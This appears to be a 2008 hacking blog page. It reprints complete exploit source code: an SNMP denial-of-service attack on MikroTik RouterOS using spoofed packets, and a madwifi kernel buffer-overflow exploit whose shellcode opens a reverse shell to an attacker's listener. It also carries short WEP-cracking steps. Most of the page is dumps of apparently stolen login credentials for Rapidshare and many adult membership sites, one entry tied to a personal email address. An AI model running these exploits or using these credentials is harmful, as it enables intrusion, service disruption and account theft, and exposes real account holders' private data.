Basic Directions:

1)Boot from cd
2)get the wep key
3)write it down
4)reboot into windows
5)connect using wep key.

dDos Mikrotik OS

2008-04-19T08:10:00.003+07:00

By Yudhax

File Publish of,  damned shit...
Good progress bro...

/* --------------------------------------------------------------------------
* (c) ShadOS 2008
* _ _ _ _ _ __ _ _ _
* | || |___| | | |/ /_ _ (_)__ _| |_| |_ ___
* | __ / -_) | | ' <| ' \| / _` | ' \ _(_-<
* |_||_\___|_|_|_|\_\_||_|_\__, |_||_\__/__/
* hellknights.void.ru |___/ .0x48k.
*
* --------------------------------------------------------------------------
*
* MicroTik RouterOS <=3.2 SNMPd snmp-set DoS exploit. Other OSs may be vulnurable (fe. Linux )
* Don't forget to visit our site and my homepage for new releases:
* http://hellknights.void.ru
* http://shados.freeweb7.com
* Also, you can mail me any bugs or suggestions:
* mailto: shados /at/ mail /dot/ ru
*
* Thanks 2 antichat.ru and all my friends.
* --------------------------------------------------------------------------
*
* Copyright (C) 89, 90, 91, 1995-2007 Free Software Foundation.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* --------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <memory.h>
#include <string.h>

char evilcode[] = {
0x19, 0x02, 0x02, 0x1e, 0x0c, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00, 0x30, 0x0d, 0x30, 0x0b, 0x06, 0x07, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x05, 0x00, 0x00
};

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *w++;
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}

int sendudp(int sock,unsigned long *saddr, unsigned long *daddr,unsigned int sport,unsigned int dport,char *data, int len)
{
char *packet;
struct sockaddr_in dstaddr;
struct iphdr *ip;
struct udphdr *udp;
packet = (char *)malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
memset(packet,0,sizeof(struct iphdr) + sizeof(struct udphdr) + len);
if (packet == NULL) { perror("Malloc failed\n"); exit(-1); }
ip = (struct iphdr *)packet;
udp = (struct udphdr *)(packet+sizeof(struct iphdr));
ip->saddr = *saddr;
ip->daddr = *daddr;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->id = htons((unsigned short) rand());
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr)+len);
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(sport);
udp->dest = htons(dport);
udp->len = htons(sizeof(struct udphdr) + len);
memcpy(packet+(sizeof(struct iphdr) + sizeof(struct udphdr)),data,len);
dstaddr.sin_family = AF_INET;
dstaddr.sin_addr.s_addr = *daddr;
if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr)+len,0,(struct sockaddr *)&dstaddr,sizeof(struct sockaddr_in)) < 0)
perror("sendto() failed");
free(packet);
}

char * makereq(char *community,int *size)
{
char *buf;
char *ptr;
int len;
int i;

len = 5 + strlen(community) + sizeof(evilcode);
buf = (char *)malloc(len);
ptr = buf;

*ptr++ = 0x30;
*ptr++ = len;

/* Snmp Version */
*ptr++ = 0x02;
*ptr++ = 0x01;
*ptr++ = 0x00;

/* Community */
*ptr++ = 0x04;
*ptr++ = strlen(community);
strcpy(ptr,community);
ptr = ptr + strlen(community);

*ptr++ = 0xa3; /* Set Request */

memcpy(ptr, evilcode, sizeof(evilcode));
ptr = ptr + sizeof(evilcode);

*size = len+2;
return buf;
}

int erexit(char *msg)
{
printf("%s\n",msg);
exit (-1) ;
}

int usage()
{
printf("Usage: ./snmpdos <-s source> <-d dest> <-c community>\n");
}

int main(int argc, char **argv)
{
char *saddr,*daddr,*community;
unsigned char *buf;
int size;
int sock;
unsigned long lsaddr,ldaddr;
int i;

saddr = NULL;
daddr = NULL;
if (argc != 7) { usage(); erexit("not enough args\n"); }

if (!strcmp(argv[1],"-s"))
saddr = strdup(argv[2]);
if (!strcmp(argv[3],"-d"))
daddr = strdup(argv[4]);
if (!strcmp(argv[5],"-c"))
community = strdup(argv[6]);

printf("Ok, spoofing packets from %s to %s\n",saddr,daddr);

if (inet_addr(saddr) == -1 || inet_addr(daddr) == -1)
erexit("Invalid source/destination IP address\n");

if (saddr == NULL) { usage(); erexit("No Source Address"); }
if (daddr == NULL) { usage(); erexit("No Dest Address"); }

sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if (sock == -1)
erexit("Couldnt open Raw socket!(Are you root?)\n");

lsaddr = inet_addr(saddr);
ldaddr = inet_addr(daddr);

buf = makereq(community,&size);

sendudp(sock,&lsaddr,&ldaddr,32788,161,buf,size);
fprintf(stdout,"Sent packet. SNMPd must be down.\n");
return 0;

}

WPA/RSN IE remote kernel buffer overflow

2008-04-19T08:05:00.001+07:00

So nice... sgrakkyu, thanks bro..
antifork.org

/* ---- madwifi WPA/RSN IE remote kernel buffer overflow ------
* expoit code by: sgrakkyu <at> antifork.org -- 10/1/2007
*
* CVE: 2006-6332 (Laurent BUTTI, Jerome RAZNIEWSKI, Julien TINNES)
*
* (for wpa)
* ....
* memcpy(buf, se->se_wpa_ie, se->se_wpa_ie[1] + 2)
* ....
* ....
* the function re-uses args in the stack before returning so we
* can't trash them overwriting.
* Different compiled module [ex. different version of gcc] may require
* a different pad value.. (see -g option)
*
* ex:
* on one terminal runs: nc -l -p 31337
* phi:~/kexec/lorcon# gcc -g -o madwifi_exp madwifi_exp.c -lorcon
* phi:~/kexec/lorcon# wlanconfig ath1 create wlandev wifi0 wlanmode monitor
* phi:~/kexec/lorcon# ifconfig ath1 up
* phi:~/kexec/lorcon# ./madwifi_exp -i ath1 -d madwifing -a 10.0.0.1 -p 31337
* [opt-ip]: 10.0.0.1
* [opt-port]: 31337
* [opt-iface]: ath1
* [opt-driver]: madwifing
* [opt-jump]: 0xffffe777
* [pad]: 36
*
* [*][Low Avail Byte]: 103
* [*][High Avail Byte]: 47
* [*][u_code[] (high)size]: 91, [ring0_code[] (low)size]: 47
* [*][ patching jump ]: [eba7]
* [*][Payload space]: 192
* [*][beacon_frame-80211]=54
* [*][beacon_WPA_IE_lenght]: 198
*
* [printing frame - start]
* 80 00 00 00 ff ff ff ff ff ff cc cc cc cc cc cc
* cc cc cc cc cc cc 00 00 00 00 00 00 00 00 00 00
* 64 00 01 00 00 03 41 41 41 01 08 82 84 8b 96 0c
* 18 30 48 03 01 0b dd c6 00 50 f2 01 01 00 90 90
* 90 90 90 90 90 90 90 90 90 90 31 c0 89 c3 40 40
* ....
* ....
*
*
* Tuning option:
* - depending on gcc version/optimization we have to change the padding of vector
* payload, take a look to the following disassembly of the module wlan.o compiled
* with gcc-4.0 (kernel compiled for i586):
*
* 00015a49 <giwscan_cb>:
* 15a49: 55 push %ebp
* 15a4a: 57 push %edi
* 15a4b: 56 push %esi
* 15a4c: 53 push %ebx
* 15a4d: 81 ec c4 00 00 00 sub $0xbc,%esp <--16+188=[204]
* .........
* .........
* .........
* 15fc3: 8d 54 24 12 lea 0xa(%esp),%edx <-esp+[10]
* 15fc7: 89 d7 mov %edx,%edi
* ...
* ...
* 15fd5: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
*
*
* this is not a rule, check gcc generated code to calculate correct pad value :
* [startbuf-ret] = (16 + 188 - 10) = 194 byte
* PAD = 194 - SHELLCODE_SPACE - IEWPAheader(code,len,oui) = 194 - 150 - 8 = 36
* ( -g 36 would be the choice in that case)
*
* NOTE: 1) the remote box must call the ioctl() SIOCGIWSCAN
* for ex. when the iface gets up or during iwlist iface scanning
* command
*
* 2) if you need more space for kernel mode code you can rely on
* struct ieee80211_scan_entry paramter of gwiscan_cb()
* function to access the real frame (a trivial joke)
*
* 3) i had no time to test this exploit on other boxes..:
* tested only on: Slackware 10 - madwifi 0.9.2
* Kubuntu - kernel 2.6.17 - madwifi 0.9.2
*
*
* TNX TNX TNX twiz <at> antifork.org
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <getopt.h>
#include <netinet/in.h>
#include <sys/socket.h>

#include <tx80211.h>
#include <tx80211_packet.h>
#include <linux/wireless.h>
#include <arpa/inet.h>

/* 2.6.17 VSYSCALL: for >= 2.6.18 without fixed-vsyscall entry use kernel hardcoded value */
#define VSYSCALL_JMP_ESP_OFFSET 0xffffe777
#define IE_ZERO 0x00000000

#define FIX_BYTE(base,offset,byte) *(((unsigned char*)base) + offset) = byte;
#define FIX_WORD(base,offset,word) *((unsigned short *)((unsigned char*)base + offset)) = word;
#define FIX_DWORD(base,offset,dword) *((unsigned int *)((unsigned char*)base + offset)) = dword;

/* shellcode max buffer */
/* 8 bytes used for lenght + oui */
#define SHELLCODE_SPACE 150
#define PAD_SPACE 36

#define PAYLOAD_SPACE (SHELLCODE_SPACE + pad_space + 4 + 2)
#define TOTAL_PACKET_LEN (sizeof(beacon_80211_wpa) -1 + PAYLOAD_SPACE)

/* exp option */
char *iface = NULL; /* needed */
char *driver = NULL; /* needed */
char *ip = NULL; /* needed */
short port = 0; /* needed */
unsigned int jmp_address = VSYSCALL_JMP_ESP_OFFSET;
unsigned int pad_space = PAD_SPACE;

/* ----------------------------------- */

#define SUB_OFFSET_PATCH 8
char ring0_code[]=
"\xe8\x00\x00\x00\x00" //call 8048359 <main+0x21>
"\x5e" //pop %esi
"\x81\xee\x88\x00\x00\x00" //sub $0x88,%esi /* PATCH */
"\x31\xc0" //xor %eax,%eax
"\xb0\x04" //mov $0x4,%al
"\x01\xc4" //add %eax,%esp
"\x83\x3c\x24\x73" //cmp $0x73,%esp
"\x75\xf8" //jne 8048364 <main+0x2c>
"\x83\x7c\x24\x0c\x7b" //cmpl $0x7b,0xc(%esp)
"\x75\xf1" //jne 8048364 <main+0x2c>
"\x29\xc4" //sub %eax,%esp
"\x8b\x7c\x24\x0c" //mov 0xc(%esp),%edi
"\x89\x3c\x24" //mov %edi,(%esp)
"\x31\xc9" //xor %ecx,%ecx
"\xb1\x5b" //mov $0x5b,%cl /* FIX */
"\xf3\xa4" //rep movsb %ds:(%esi),%es:(%edi)
"\xcf"; //iret

/* connect back */
#define IP_OFFSET 35
#define PORT_OFFSET 44
char u_code[] =
"\x31\xc0\x89\xc3\x40\x40\xcd\x80\x39\xc3\x74\x03\x31\xc0\x40\xcd\x80" /* fork */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x5b\x5d"
"\xbe"
"\xf5\xff\xff\xfe" // ~ip
"\xf7\xd6\x56\x66\xbd"
"\x69\x7a" // port
"\x0f\xcd\x09\xdd\x55\x43\x6a\x10\x51\x50\xb0\x66\x89\xe1\xcd\x80\x87\xd9"
"\x5b\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xdf";

/* 802.11header + WPA IE prolog */
#define WPA_LEN_OFFSET 55
#define CHANNEL 11
char beacon_80211_wpa[] =
"\x80" // management frame / subtype beacon
"\x00" // flags
"\x00\x00" // duration
"\xFF\xFF\xFF\xFF\xFF\xFF" // destination addr
"\xCC\xCC\xCC\xCC\xCC\xCC" // src address
"\xCC\xCC\xCC\xCC\xCC\xCC" // bbsid
"\x00\x00" // seq
"\x00\x00\x00\x00\x00\x00\x00\x00" // timestamp
"\x64\x00" // interval
"\x01\x00" // caps
"\x00\x03\x41\x41\x41" // ssid Information Element
"\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" // rates Information Element
"\x03\x01\x0B" // channel Information Element (11)
"\xdd\xc6" // WPA Information Element (priv ID + len) (0xc6 = 0xc0 + 6) /* PATCH */
"\x00\x50\xf2\x01\x01\x00"; // oui + type + version (first 6 byte of len)

#define JUMP_OFFSET_PATCH 1
char jmp_back[]="\xeb\x00";

/* ----------------------------------- */

void usage(char *prog)
{
printf("[usage]: %s (-i iface) (-d drivername) (-a ip) (-p port) [-g pad] [-j jump_address]\n", prog);
}

unsigned char *build_frame()
{
int i,j;
char *frame = malloc(TOTAL_PACKET_LEN);
char *ptr = frame;

unsigned int hsb = sizeof(ring0_code)-1;
unsigned int lsb = SHELLCODE_SPACE - hsb;
printf("[*][low-kcode]: %d\n[*][high-ucode]: %d\n",
lsb, hsb);

printf("[*][u_code[] (high)size]: %d, [ring0_code[] (low)size]: %d\n",
sizeof(u_code)-1, sizeof(ring0_code)-1);

/* fix jump */
int b = -4 - pad_space - (sizeof(jmp_back)-1) - (sizeof(ring0_code)-1);
FIX_BYTE(jmp_back, JUMP_OFFSET_PATCH, b);

/* fix ring0_code/u_code displacement */
unsigned int sub = 5 + (sizeof(u_code)-1);
FIX_BYTE(ring0_code, SUB_OFFSET_PATCH, sub);

printf("[*][payload space]: %d\n", PAYLOAD_SPACE);

/* fix beacon_80211_wpa: WPA len */
FIX_BYTE(beacon_80211_wpa, WPA_LEN_OFFSET, PAYLOAD_SPACE + 6);
printf("[*][beacon_WPA_IE_lenght]: %u\n",
(unsigned char)beacon_80211_wpa[WPA_LEN_OFFSET]);

/* fill frame */
memset(frame, 0x00, TOTAL_PACKET_LEN);

memcpy(ptr, beacon_80211_wpa, sizeof(beacon_80211_wpa)-1);
ptr += (sizeof(beacon_80211_wpa)-1);

memset(ptr, 0x90, lsb - (sizeof(u_code)-1));
ptr += (lsb - (sizeof(u_code)-1));

memcpy(ptr, u_code, sizeof(u_code) -1);
ptr += (sizeof(u_code) -1);

memcpy(ptr, ring0_code, sizeof(ring0_code)-1);
ptr += sizeof(ring0_code)-1;

for(i=0; i<pad_space; i+=4)
*((unsigned int *)(ptr + i)) = (IE_ZERO+(i/4));

ptr += pad_space;

*((unsigned int *)(ptr)) = jmp_address;
ptr += 4;

memcpy(ptr, jmp_back, sizeof(jmp_back)-1);
ptr += sizeof(jmp_back)-1;

return (unsigned char*)frame;
}

void print_frame(unsigned char *frame, unsigned int size)
{
int i;
printf("\n[printing frame - start]\n ");
for(i=1; i<=size; i++)
{
printf("%02x ", frame[i-1]);
if((i % 16) == 0)
printf("\n ");
}
printf("\n[printing frame - end]\n");
}

void parse_arg(int argc, char **argv)
{
int opt;
struct in_addr in;
while( (opt=getopt(argc, argv, "j:i:a:p:d:g:")) != EOF)
{
switch(opt)
{
case 'j':
jmp_address = strtoll(optarg, NULL, 16);
break;
case 'a':
ip = strdup(optarg);
inet_aton(ip, &in);
FIX_DWORD(u_code, IP_OFFSET, ~(in.s_addr));
break;
case 'p':
port = atoi(optarg);
FIX_WORD(u_code, PORT_OFFSET, port);
break;
case 'd':
driver = strdup(optarg);
break;
case 'i':
iface = strdup(optarg);
break;
case 'g':
pad_space = atoi(optarg);
break;
default:
usage(argv[0]);
exit(1);
}
}
}

int main(int argc, char *argv[])
{
int i=0;
struct tx80211 in_tx;
struct tx80211_packet in_packet;
int drivertype;

parse_arg(argc, argv);

if(!iface || !driver || !ip || !port)
{
usage(argv[0]);
exit(1);
}

printf( "\n\nMadwifi 0.9.2 WPA/RSN IE buffer overflow\n\t exploit code: sgrakkyu <at> antifork.org\n"
"-------------------- **** ------------------\n"
"[opt-ip]: %s\n[opt-port]: %d\n[opt-iface]: %s\n[opt-driver]: %s\n[opt-jump]: 0x%08x\n[pad]: %d\n"
"-------------------- **** ------------------\n\n",
ip, port, iface, driver, jmp_address, pad_space);

unsigned char *frame = build_frame();
print_frame(frame, TOTAL_PACKET_LEN);

/* Use the command-line argument as the desired driver type */
drivertype = tx80211_resolvecard(driver);

/* Validate the driver name specified */
if (drivertype == INJ_NODRIVER)
{
fprintf(stderr, "Driver name not recognized.\n");
return -1;
}

if (tx80211_init(&in_tx, iface, drivertype) < 0) {
fprintf(stderr, "Error initializing drive \"%s\".\n", argv[1]);
return -1;
}

if ((tx80211_getcapabilities(&in_tx) & TX80211_CAP_CTRL) == 0)
{
fprintf(stderr, "Driver does not support transmitting control frames.\n");
return -1;
}

if (tx80211_setchannel(&in_tx, CHANNEL) < 0)
{
fprintf(stderr, "Error setting channel.\n");
return 1;
}

if (tx80211_open(&in_tx) < 0)
{
fprintf(stderr, "Unable to open interface %s.\n", in_tx.ifname);
return 1;
}

/* Initialized in_packet with packet contents and length of the packet */
in_packet.packet = frame;
in_packet.plen = TOTAL_PACKET_LEN;

printf("[sending packets]: about 10 a second\n");

while(i < 10000)
{
/* Transmit the packet */
if (tx80211_txpacket(&in_tx, &in_packet) < 0)
{
fprintf(stderr, "Unable to transmit packet.\n");
perror("txpacket");
return 1;
}
i++;
usleep(100000);
}
/* Close the socket after transmitting the packet */
tx80211_close(&in_tx);

return 0;
}

Crack Rapidshare +plus

2008-04-15T19:53:00.003+07:00

#-------------------------------------------------------
 B  O  N  U  S   /   F  R  E  E   =  4 my Friend
#-------------------------------------------------------

intitle:rapidshare intext:login

LOGIN: 36274 PASSWORD: 2961920

LOGIN: 23290
PASSWORD: 8765578


Quote:
LOGIN: 30439
PASSWORD: 1117289

Rapidshare login accounts


Quote:
LOGIN: 45575
PASSWORD: 2573305


Quote:
LOGIN: 46042
PASSWORD: 8271283


Quote:
LOGIN: 46044
PASSWORD: 3494441


Quote:
LOGIN: 46051
PASSWORD: 3345449


Quote:
LOGIN: 46055
PASSWORD: 5103287


Quote:
LOGIN: 50415
PASSWORD: 5950137

Quote:
LOGIN: 50419
PASSWORD: 2643224

here is more passwords

LOGIN: 40586
PASSWORD: 4181392

Account-ID: 36713
Password: 8785993

LOGIN: 34746
PASSWORD: 7861243

LOGIN: 34978
PASSWORD: 6943382

LOGIN: 34979
PASSWORD: 3194204

LOGIN: 34980
PASSWORD: 7812184

Login: 20145
Password: 7072148

Login: 19159
Password: 7932964

LOGIN: 20949
PASSWORD: 2716739

LOGIN: 15156
Password: 2679943

LOGIN: 18549
Password: 4646182

LOGIN: 19365
PASSWORD: 9667651

LOGIN: 18800
PASSWORD: 9496722

LOGIN: 20949
PASSWORD: 2716739

LOGIN: 36272
PASSWORD: 8961973

LOGIN: 36273
PASSWORD: 8061013

LOGIN: 36274
PASSWORD: 2961920

LOGIN: 36275
PASSWORD: 8018801

LOGIN: 36276
PASSWORD: 527330

LOGIN: 34976
PASSWORD: 6650188

Account-ID: 36712
Password: 1877564

LOGIN: 34746
PASSWORD: 7861243

LOGIN: 34978
PASSWORD: 6943382

LOGIN: 34979
PASSWORD: 3194204

LOGIN: 34980
PASSWORD: 7812184

Login: 20145
Password: 7072148

Login: 19159
Password: 7932964

LOGIN: 20949
PASSWORD: 2716739

LOGIN: 15156
Password: 2679943

LOGIN: 18549
Password: 4646182

LOGIN: 19365
PASSWORD: 9667651

LOGIN: 18800
PASSWORD: 9496722

LOGIN: 20949
PASSWORD: 2716739

LOGIN: 36272
PASSWORD: 8961973

LOGIN: 36273
PASSWORD: 8061013

LOGIN: 36274
PASSWORD: 2961920

LOGIN: 36275
PASSWORD: 8018801

LOGIN: 36276
PASSWORD: 527330

LOGIN: 34976
PASSWORD: 6650188

LOGIN: 34978
PASSWORD: 6943382

LOGIN: 34979
PASSWORD: 3194204

LOGIN: 34980
PASSWORD: 7812184


Account-ID: 36713
Password: 8785993


LOGIN: 36272
PASSWORD: 8961973


LOGIN: 36274
PASSWORD: 2961920

LOGIN: 36275
PASSWORD: 8018801

LOGIN: 36276
PASSWORD: 527330

LOGIN: 34976
PASSWORD: 6650188

LOGIN: 34978
PASSWORD: 6943382



Account-ID: 22834
Password: 9814819


Account-ID: 47191 Password: 4690422
Account-ID: 47189 Password: 2878020
Account-ID: 48004 Password: 6866946
Account-ID: 48006 Password: 4844644
Account-ID: 48008 Password: 2515888
Account-ID: 36716 Password: 7634111
Account-ID: 45100 Password: 4430955
Account-ID: 47191 Password: 4690422
Account-ID: 47189 Password: 2878020
Account-ID: 48004 Password: 6866946
Account-ID: 48006 Password: 4844644
Account-ID: 48008 Password: 2515888


Quote:
LOGIN: 23290
PASSWORD: 8765578


Quote:
LOGIN: 30439
PASSWORD: 1117289

Rapidshare login accounts


Quote:
LOGIN: 45575
PASSWORD: 2573305


Quote:
LOGIN: 46042
PASSWORD: 8271283


Quote:
LOGIN: 46044
PASSWORD: 3494441


Quote:
LOGIN: 46051
PASSWORD: 3345449


Quote:
LOGIN: 46055
PASSWORD: 5103287


Quote:
LOGIN: 50415
PASSWORD: 5950137


Quote:
LOGIN: 50419
PASSWORD: 2643224


here is more passwords


LOGIN: 40586
PASSWORD: 4181392

Account-ID: 36713
Password: 8785993

LOGIN: 34746
PASSWORD: 7861243

LOGIN: 34978
PASSWORD: 6943382

LOGIN: 34979
PASSWORD: 3194204

LOGIN: 34980
PASSWORD: 7812184

Login: 20145
Password: 7072148

Login: 19159
Password: 7932964

LOGIN: 20949
PASSWORD: 2716739

LOGIN: 15156
Password: 2679943

LOGIN: 18549
Password: 4646182

LOGIN: 19365
PASSWORD: 9667651

LOGIN: 18800
PASSWORD: 9496722

LOGIN: 20949
PASSWORD: 2716739

LOGIN: 36272
PASSWORD: 8961973

LOGIN: 36273
PASSWORD: 8061013

LOGIN: 36274
PASSWORD: 2961920

LOGIN: 36275
PASSWORD: 8018801

LOGIN: 36276
PASSWORD: 527330

LOGIN: 34976
PASSWORD: 6650188

Account-ID: 36712
Password: 1877564

LOGIN: 34746
PASSWORD: 7861243

LOGIN: 34978
PASSWORD: 6943382

LOGIN: 34979
PASSWORD: 3194204

LOGIN: 34980
PASSWORD: 7812184

Login: 20145
Password: 7072148

Login: 19159
Password: 7932964

LOGIN: 20949
PASSWORD: 2716739

LOGIN: 15156
Password: 2679943

LOGIN: 18549
Password: 4646182

LOGIN: 19365
PASSWORD: 9667651

LOGIN: 18800
PASSWORD: 9496722

LOGIN: 20949
PASSWORD: 2716739

LOGIN: 36272
PASSWORD: 8961973

LOGIN: 36273
PASSWORD: 8061013

LOGIN: 36274
PASSWORD: 2961920

LOGIN: 36275
PASSWORD: 8018801

LOGIN: 36276
PASSWORD: 527330

LOGIN: 34976
PASSWORD: 6650188

LOGIN: 34978
PASSWORD: 6943382

LOGIN: 34979
PASSWORD: 3194204

LOGIN: 34980
PASSWORD: 7812184


Account-ID: 36713
Password: 8785993


LOGIN: 36272
PASSWORD: 8961973


LOGIN: 36274
PASSWORD: 2961920

LOGIN: 36275
PASSWORD: 8018801

LOGIN: 36276
PASSWORD: 527330

LOGIN: 34976
PASSWORD: 6650188

LOGIN: 34978
PASSWORD: 6943382


---------------


Account Members XXX
http://www.screamandcream.com/members/ Username: viacehaibiopa99 Password: soucliobacrea50
http://members.zenra.com (http://members.zenra.com/) Username : 9Vn7fX Password : 3uAmNt97
http://members.maturevslads.com (http://members.maturevslads.com/) Username : 7VZ6TL Password : YJUjRr
http://members.sexy-babes.tv (http://members.sexy-babes.tv/) Username: rjpe5wm2MS Password : VNYEw3TCEb
http://members.milfhunter.com (http://members.milfhunter.com/) USERNAME : kodiwq81 PASSWORD : demaqq26
Links to websites that are included in your membership :
http://members.mikeinbrazil.com/
http://members.eurosexparties.com/
http://members.streetblowjobs.com/
http://members.8thstreetlatinas.com/
http://members.roundandbrown.com/
http://members.milfnextdoor.com/
http://members.topshelfpussy.com/
http://members.bignaturals.com/
http://members.mrchewsasianbeaver.com (http://members.mrchewsasianbeaver.com/) Username: lorena_cordova@mac.com Password : fuck1234
http://member02.tokyo-hot.com/member/index.html Username : asapzone Password : fuck1234
http://www.actionjav.com/members/index.cfm usercode is : 46907780 passcode is : 9167553
http://members.asianxtv.deluxepass.com/ user : dpr63js8 pass : thoucle7
Zahra Amir Ebrahimi, http://www.womendiary.net/2006/11/13/zahra-amir-ebrahimi-and-her-sex-video-iranian-paris-hilton-wannabe/Account Members
http://www.screamandcream.com/members/ Username: viacehaibiopa99 Password: soucliobacrea50
http://members.zenra.com (http://members.zenra.com/) Username : 9Vn7fX Password : 3uAmNt97
http://members.maturevslads.com (http://members.maturevslads.com/) Username : 7VZ6TL Password : YJUjRr
http://members.sexy-babes.tv (http://members.sexy-babes.tv/) Username: rjpe5wm2MS Password : VNYEw3TCEb
http://members.milfhunter.com (http://members.milfhunter.com/) USERNAME : kodiwq81 PASSWORD : demaqq26
Links to websites that are included in your membership :
http://members.mikeinbrazil.com/
http://members.eurosexparties.com/
http://members.streetblowjobs.com/
http://members.8thstreetlatinas.com/
http://members.roundandbrown.com/
http://members.milfnextdoor.com/
http://members.topshelfpussy.com/
http://members.bignaturals.com/
http://members.mrchewsasianbeaver.com (http://members.mrchewsasianbeaver.com/) Username: lorena_cordova@mac.com Password : fuck1234
http://member02.tokyo-hot.com/member/index.html Username : asapzone Password : fuck1234
http://www.actionjav.com/members/index.cfm usercode is : 46907780 passcode is : 9167553
http://members.asianxtv.deluxepass.com/ user : dpr63js8 pass : thoucle7
http://www.screamandcream.com/members/ Username: viacehaibiopa99 Password: soucliobacrea50
http://members.zenra.com (http://members.zenra.com/) Username : 9Vn7fX Password : 3uAmNt97
http://members.maturevslads.com (http://members.maturevslads.com/) Username : 7VZ6TL Password : YJUjRr
http://members.sexy-babes.tv (http://members.sexy-babes.tv/) Username: rjpe5wm2MS Password : VNYEw3TCEb
http://members.milfhunter.com (http://members.milfhunter.com/) USERNAME : kodiwq81PASSWORD : demaqq26
http://members.mikeinbrazil.com/
http://members.eurosexparties.com/
http://members.streetblowjobs.com/
http://members.8thstreetlatinas.com/
http://members.roundandbrown.com/
http://members.milfnextdoor.com/
http://members.topshelfpussy.com/
http://members.bignaturals.com/
http://members.mrchewsasianbeaver.com (http://members.mrchewsasianbeaver.com/) Username: lorena_cordova@mac.com Password : fuck1234
http://member02.tokyo-hot.com/member/index.html Username : asapzone Password : fuck1234
http://www.actionjav.com/members/index.cfm usercode is : 46907780 passcode is : 9167553
http://members.asianxtv.deluxepass.com/ user : dpr63js8 pass : thoucle7
http://members.deluxepass.com (http://members.deluxepass.com/) Login: dpf2tj31 Password: xcf62bj
http://members.playtimevideo.com/secure/ Login: xdeath87 Password:slayer
http://members.interracialtv.com (http://members.interracialtv.com/) Login: SunShyne Password: Stimpy
http://jenniferwalcott.com/members/ Login: clticic Password:Tr2Amp25
http://allnaughtyhoes.com/members/ Login: sweet Password: sluts
http://gagvault.com/members/ Login: pmdmsctsk Password: pmdmsctsk
http://big-is-beautiful.net/members/ Login: eskimo Password: fuzzball
http://nastyxrated.com/members/ Login: gobierno Password: 74723006
http://www.pregnantlady.com/members/ Login: XxXmeanS Password: DaBest
http://members.whitepussyblackcocks.com/ Login: harry Password:666666
http://members.stephanieswift.com/swiftpass/ Login: test Password: password
http://www.sexylesbianvideos.com/members/index.html Login: johalhs Password: sohail
http://www.lesbiansorority.com/members/index.html Login: hottest Password: sex
http://www.toonfuck.com/private/index.html Login: broken Password: spiral
http://www.upskirtass.com/members Login: dowjones Password: stockman199
http://monstersofcock.bangbros.com/ Login: lanet32 Password: sosodef
http://members.taylorbow.com/protect/ Login: toshiaki1 Password: kawada1
http://members.guysluckyday.com/ Login: eyedoc2 Password: contacts
http://members.cheergirlsgallery.com (http://members.cheergirlsgallery.com/) Login: shadowon Password: shadow22
http://mikesapartmentonline.com/members/index.html Login: zonda Password: zonda
http://asian4you.com user id : susahbanget pass : akuberhasil
http://www.met-art.com username: kusbang password : nanaloli
http://shaunasand.com/members/ Login: pool6123 Password: care1839
http://pornstarhearts.com/members/ Login: amber Password: michaels
http://bigxxxplace.com/members/ Login: herstal Password: 2004to05
http://3porndvds.net/members/ Login: ynotretep Password: nibbinet
http://orgyheavenz.com/members/ Login: casey Password: ryback
http://cute2slut.com/members/ Login: miguel Password: ferrer
http://tickleworld.com/members/ Login: caddyboy Password: caddy044
http://www.ddgirls.com/members/ Login: jflores7299 Password: HPwramc04
http://members.oxpass.com/ Login: 40steve Password: movies
http://bangbrosworldwide.oxpassport.com/ Login: guanche Password: 00001742
http://members.bangbros.com Login: ecko215 Password: metho1
http://assparade.bangbros.com/ Login: jonno Password: novanova
http://members.videosz.com/ Login: vzk88zmt Password: tox6546
http://members.naughtyamericavip.com/members/ Login: 08sk05 Password: delta366
http://www.members.movieerotica.com Login: 00794014 Password: 9517883
http://assparade.bangbros.com/ Login: yardie Password: 123456
http://www.sexychristina.com/members/ Login: bintang Password: butterfl
http://www.amateursinside.com/members Login: jacob6 Password: archie3
http://www.priceless420.com/members/NewPics.htm Login: jamerson Password: kavasia
http://www.supermodeltits.com/secure/ Login: telly5 Password: 5telly
http://www.mpgpage.com/members/ Login: 63637 Password: 703751
http://bunnyglamazon.com/members/ Login: 75nova Password: 688nyq
http://nailedchicks.com/members/ Login: gloeffect Password: emuleadmin
http://irongoddessnicole.com/members/ Login: 123 Password: 123
http://pornstarhearts.com/members/ Login: amber Password: michaels
http://nastyxrated.com/members/ Login: gobierno Password: 74723006
http://spycamaddicts.com/members/ Login: verbatim Password: stille
http://exposedmilfs.net/members/ Login: michelle Password: mansion2
http://members.anabolicxxx.com/index.htm Login: rmanus Password: al2fred
